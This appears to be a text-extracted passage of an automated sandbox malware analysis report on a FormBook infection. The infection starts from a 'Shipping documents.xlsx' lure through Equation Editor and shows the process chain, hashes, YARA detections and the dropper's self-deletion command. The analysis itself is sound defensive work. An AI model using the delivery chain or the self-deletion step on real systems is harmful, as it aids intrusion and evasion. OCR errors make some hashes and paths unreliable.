Data Raw: 37 34 0d Oa 3c 68 74 6d 6¢c 3e 3c 62 6f 64 79 3e 59 6f 75 20 61 72 65 20 62 65 69 6e 67 20 3c 61 20 68 72 65
66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 72 65 67 6f 72 79 72 65 63 6f 6d 6d 65 6e 64 73 2e 63 6f 6d 2f 6e 6f 70 61
67 65 5f 65 72 72 6f 72 2e 68 74 6d 6¢ 22 3e 72 65 64 69 72 65 63 74 65 64 3c 2f 61 3e 2e 3c 2f 62 6f 64 79 3e 3c 2f 68 74
6d 6¢ 3e 0d Oa

Data Ascii: 74<html><body>You are being <a href="http://www.gregoryrecommends.com/nopage_error.html">redirecte
d</a>.</body></html>

@ EXCEL.EXE

® EQNEDT32.EXE
@ vbc.exe

@ vbc.exe

@ explorer.exe

@ ipconfig.exe

® cmd.exe

Page 39 of 46



System Behavior

Analysis Process

: EXCEL.EXE PID: 2376 Parent PID: 584

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator privileges:

Programmed in:

Reputation:

File Activities

File Path

Old File Path

File Written

File Path

C:\Users\user\Desktop\~$Shipping documents.xIsx

C:\Users\user\Desktop\~$Shipping documents.xIsx

C:\Users\user\Desktop\~$Shipping documents.xIsx

Copyright null 2020

New File Path

Offset

unknown 55

unknown 110

unknown 55

21:12:38
26/11/2020

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

false

‘C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE' /automation -Embedding

0x13fdc0000

27641504 bytes

5FBOAOF93382ECD19F5F499A5CAA59F0

true

true

C, C++ or other language

high

Access

Length Value

0541 6¢ 627573 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
20202020 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20

05 00 41 00 6¢ 00 62
00 75 00 73 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
2000 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
2000 20 00 20 00 20
00 20 00 20 00

0541 6¢ 627573 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 20 20 20 20
202020 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20

Attributes

Options

Ascii

.user

VAlbuso oo

.user

Completion

Completion

Completion

success or wait

success or wait

success or wait

Source
Count Address Symbol

Source
Count Address Symbol

Source
Count Address  Symbol
1 14000F526 WriteFile
1 14000F591 WriteFile
1 14000F526 WriteFile
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Source

File Path Offset Length Value Ascii Completion Count Address  Symbol
C:\Users\user\Desktop\~$Shipping documents.xIsx unknown 110 050041006c0062 .Albus............ success or wait 1 14000F591 WriteFile
00750073002000 ..ottt

2002000200020 ccoccscoccosccoscs
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
2000 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20

00 20 00 20 00
Source
File Path Offset Length Completion Count Address Symbol
Registry Activities
Key Created
Source
Key Path Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\Startupltems success or wait 1 7FEEAC59ACO unknown
Key Value Created
Source
Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic n8 binary 20 6E 38 00 48 09 00 00 02 00 00 00 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resiliency\Startupltems 00 00 00 00 62 00 00 00 01 00 00 00
30 00 00 00 26 00 00 00 73 00 68 00
69 00 70 00 70 00 69 00 6E 00 67 00
20 00 64 00 6F 00 63 00 75 00 6D 00
65 00 6E 00 74 00 73 00 2E 00 78 00
6C 00 73 00 78 00 00 00 73 00 68 00
69 00 70 00 70 00 69 00 6E 00 67 00
20 00 64 00 6F 00 63 00 75 00 6D 00
65 00 6E 00 74 00 73 00 00 00
Source
Key Path Name Type Old Data New Data Completion Count Address Symbol
Analysis Process: EQNEDT32.EXE PID: 2536 Parent PID: 584
General
Start time: 21:12:57
Start date: 26/11/2020
Path: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit): true
Commandline: ‘C:\Program Files\Common Files\Microsoft Shared\ EQUATION\EQNEDT32.EXE' -Embedding
Imagebase: 0x400000
File size: 543304 bytes
MDS5 hash: A87236E214F6D42A65F5DEDAC816AECS
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: high
File Activities
Source
File Path Access Attributes Options Completion Count Address Symbol
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
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Source

File Path Offset Length Completion Count Address Symbol

Registry Activities

Key Created

Source

Key Path Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Microsoft\Equation Editor success or wait 1 41369F RegCreateKeyExA
HKEY_CURRENT_USER\Software\Microsoft\Equation Editor\3.0 success or wait 1 41369F RegCreateKeyExA
HKEY_CURRENT_USER\Software\Microsoft\Equation Editor\3.0\Options success or wait 1 41369F RegCreateKeyExA

Source
Key Path New Data Completion Count Address Symbol
Analysis Process: vbc.exe PID: 532 Parent PID: 2536
General
Start time: 21:13:00
Start date: 26/11/2020
Path: C:\Users\Public\vbc.exe

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator privileges:

Programmed in:

Yara matches:

true

‘C:\Users\Public\vbc.exe’

0xec0000

478720 bytes
FDO9F4D0B2373B9634F2D8AD2F5C899D
true

true

.Net C# or VB.NET

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000004.00000002.2136258521.0000000003341000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000004.00000002.2136258521.0000000003341000.00000004.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000004.00000002.2136258521.0000000003341000.00000004.00000001.sdmp,
Author: JPCERT/CC Incident Response Group

e Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source:
00000004.00000002.2136150916.0000000002554000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000004.00000002.2136301403.00000000033BB000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000004.00000002.2136301403.00000000033BB000.00000004.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000004.00000002.2136301403.00000000033BB000.00000004.00000001.sdmp,
Author: JPCERT/CC Incident Response Group

Reputation:

low
[ File Activities
File Created
Source

File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\Local\GDIPFONTCACHEV1.DAT read attributes | device | sparse synchronous io  success or wait 1 6C41AA52 unknown

synchronize | file non alert | non

generic read | directory file

generic write

File Read

Copyright null 2020
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Source

File Path Offset Length Completion Count Address Symbol
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 6E367995 unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config unknown 6135 success or wait 1 6E367995 unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_32\mscorlib\7582 unknown 176 success or wait 1 6E27DE2C ReadFile
400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll.aux
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 6E36A1A4 ReadFile
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Window unknown 1720 success or wait 1 6E27DE2C ReadFile
s.Forms\fbO6ad4bc55b9c3ca68a3f9259d826cd\System.Windows.Forms.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\lbe7al unknown 620 success or wait 1 6E27DE2C ReadFile
5b1f33bf22e4f53aaf45518c77\System.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Drawin unknown 584 success or wait 1 6E27DE2C ReadFile
g\1d52bd4ac5e0a6422058a5d62c9f6d9d\System.Drawing.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Web\9e unknown 3972 success or wait 1 6E27DE2C ReadFile
5950923286f171d1649a05bdc62830\System.Web.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\e unknown 900 success or wait 1 6E27DE2C ReadFile
b4cca4f06a15158c3f7e2c56516729b\System.Core.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\Microsoft.V99 unknown 1708 success or wait 1 6E27DE2C ReadFile
21e851#\4fc035341c55c61ce51e53d179d1e19d\Microsoft.VisualBasic.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Config unknown 864 success or wait 1 6E27DE2C ReadFile
uration\fe4b221b4109f0c78f57a792500699b5\System.Configuration.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml\4f unknown 748 success or wait 1 6E27DE2C ReadFile
bda26d781323081b45526da6e87b35\System.Xml.ni.dll.aux
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config unknown 4096 success or wait 1 6D36B2B3 ReadFile
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config unknown 4096 end of file 1 6D36B2B3 ReadFile
Registry Activities
Key Created
Source
Key Path Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Microsoft\GDIPlus success or wait 1 6C41AA52 unknown
Key Value Created
Source
Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic FontCachePath unicode C:\Users\user\AppData\Local success or wait 1 6C41AA52 unknown
rosoft\GDIPlus
HKEY_LOCAL_MACHINE\SYSTEM\Cont xFHfgnFxmzWvwHXpQ8 dword 532 success or wait 1 6A4EC37E unknown
rolSet001\services\ASP.NET_4.0.30319\Names PPXzoQjWspFp
QVJIpnWhpRSJIZEfthMRR
4cP3Dt9z4mp
6Qs9s4mHbEXjv7yx0OY1d
u7b2jyh5rp
4gqIL6EU72QCf2luWuR3
kCJqL7ML
Analysis Process: vhc.exe PID: 2828 Parent PID: 532
General
Start time: 21:13:02
Start date: 26/11/2020
Path: C:\Users\Public\vbc.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright null 2020

true

{path}

0xec0000

478720 bytes
FDO9F4D0B2373B9634F2D8AD2F5C899D
true

true

C, C++ or other language
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Yara matches: e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000005.00000002.2170693732.00000000000F0000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000005.00000002.2170693732.00000000000F0000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000005.00000002.2170693732.00000000000F0000.00000040.00000001.sdmp,
Author: JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000005.00000002.2170740872.0000000000180000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000005.00000002.2170740872.0000000000180000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000005.00000002.2170740872.0000000000180000.00000040.00000001.sdmp,
Author: JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000005.00000002.2170766828.0000000000400000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000005.00000002.2170766828.0000000000400000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000005.00000002.2170766828.0000000000400000.00000040.00000001.sdmp,
Author: JPCERT/CC Incident Response Group

Reputation: low

File Activities

File Read
Source

File Path Offset Length Completion Count Address Symbol
C:\Windows\SysWOWe64\ntdll.dll 0 1314112 success or wait 1 4182C7 NtReadFile

Analysis Process: explorer.exe PID: 1388 Parent PID: 2828
General
Start time: 21:13:04
Start date: 26/11/2020
Path: C:\Windows\explorer.exe
Wow64 process (32bit): false
Commandline:
Imagebase: 0xffca0000
File size: 3229696 bytes
MD5 hash: 38AE1B3C38FAEF56FE4907922F0385BA
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: moderate

File Activities

Source

File Path Offset Length Completion Count Address Symbol

Analysis Process: ipconfig.exe PID: 3040 Parent PID: 1388

General

Start time: 21:13:16

Start date: 26/11/2020

Path: C:\Windows\SysWOW64\ipconfig.exe
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Wow64 process (32bit): true

Commandline: C:\Windows\SysWOWS64\ipconfig.exe

Imagebase: 0xf70000

File size: 27136 bytes

MDS5 hash: CABB20E171770FF64614A54C1F31C033

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:

00000007.00000002.2344836687.00000000002F0000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000007.00000002.2344836687.00000000002F0000.00000004.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000007.00000002.2344836687.00000000002F0000.00000004.00000001.sdmp,
Author: JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000007.00000002.2344664416.0000000000080000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000007.00000002.2344664416.0000000000080000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000007.00000002.2344664416.0000000000080000.00000040.00000001.sdmp,
Author: JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000007.00000002.2344806052.00000000002C0000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000007.00000002.2344806052.00000000002C0000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000007.00000002.2344806052.00000000002C0000.00000040.00000001.sdmp,
Author: JPCERT/CC Incident Response Group

Reputation: moderate

File Activities

File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\Windows\SysWOWe64\ntdll.dll 0 1314112 success or wait 1 982C7  NtReadFile

Analysis Process: cmd.exe PID: 2956 Parent PID: 3040

General

Start time: 21:13:20

Start date: 26/11/2020

Path: C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit): true

Commandline: /c del 'C:\Users\Public\vbc.exe'
Imagebase: 0x4a370000

File size: 302592 bytes

MDS5 hash: AD7B9C14083B52BC532FBA5948342B98
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language
Reputation: high

File Activities

File Deleted
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Source
File Path Completion Count Address Symbol

C:\Users\Public\vbc.exe success or wait 1 4A37A7BD DeleteFilewW

Disassembly

Code Analysis
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